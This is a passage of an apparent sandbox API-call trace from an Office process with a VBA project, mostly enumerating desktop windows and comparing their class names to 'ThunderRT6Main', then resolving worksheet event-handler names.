GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0112.309] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0112.309] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0112.309] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0112.309] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0112.309] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0112.309] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.310] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.310] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0112.310] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0112.310] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0112.310] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0112.310] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0112.310] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0112.310] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.310] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.310] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0112.310] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0112.310] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0112.310] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0112.310] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0112.310] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0112.310] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.310] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.310] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0112.310] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0112.310] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0112.310] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0112.310] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0112.310] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0112.310] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0112.311] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0112.311] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0112.311] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0112.311] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0112.311] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0112.311] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0112.311] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0112.311] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0112.311] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0112.311] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0112.311] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0112.311] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.311] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0112.311] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0112.311] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0112.311] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0112.311] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0112.311] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.311] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.311] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0112.312] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0112.312] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0112.312] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0112.312] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0112.312] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0112.312] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.312] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.312] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0112.312] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0112.312] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.312] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.312] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0112.312] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0112.312] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.312] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.312] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0112.312] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0112.312] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.312] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.312] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.312] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0112.312] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.312] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.312] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.313] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0112.313] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.313] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.313] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0112.313] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0112.313] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.313] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.313] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0112.313] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0112.313] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0112.313] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.313] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0112.313] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0112.313] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0112.313] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.313] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0112.313] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.313] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.313] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0112.313] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.313] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.313] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.313] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0112.313] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.314] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0112.314] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0112.314] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0112.314] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0112.314] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0112.314] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.314] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0112.314] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0112.314] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.314] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0112.314] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.314] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0112.314] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.314] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0112.314] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0112.314] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0112.314] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.314] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0112.315] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0112.315] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0112.315] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0112.315] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.315] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0112.315] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0112.315] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0112.315] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0112.315] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0112.315] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.315] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0112.315] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0112.315] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0112.315] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.315] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0112.315] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0112.315] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.315] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0112.315] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0112.315] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.315] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0112.315] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.315] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.315] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0112.315] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0112.315] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0112.315] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0112.315] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0112.315] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0112.315] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0112.316] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0112.316] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0112.316] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.316] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.316] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0112.316] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0112.316] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.316] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.316] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0112.316] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0112.316] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0112.316] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0112.316] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0112.316] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0112.316] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0112.316] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0112.316] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.316] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0112.316] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5963470 [0112.316] IMalloc:Free (This=0x7fefe465380, pv=0x5963470) [0112.738] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0112.738] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0112.738] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0115.759] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0115.759] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0115.759] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0115.760] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0115.760] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0115.760] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0115.763] strncpy_s (in: _Dst=0x61722d0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0115.763] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0115.763] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0115.763] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0115.763] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0115.763] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0115.763] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0115.763] IUnknown:Release (This=0x679bb90) returned 0x15 [0115.764] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0115.764] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0115.764] IUnknown:Release (This=0x5a48630) returned 0x12 [0115.764] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0115.764] IUnknown:AddRef (This=0x679c130) returned 0x9 [0115.764] IUnknown:Release (This=0x679c130) returned 0x8 [0115.764] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0115.764] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0115.764] IUnknown:Release (This=0x679c6d0) returned 0x6 [0115.765] GetCurrentThreadId () returned 0xa30 [0115.765] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0115.765] GetDesktopWindow () returned 0x10010 [0115.765] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0115.765] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0115.765] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0115.765] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0115.765] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0115.765] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0115.765] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0115.765] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0115.765] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0115.765] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.765] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.765] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0115.765] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0115.765] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0115.765] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.766] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0115.766] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.766] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 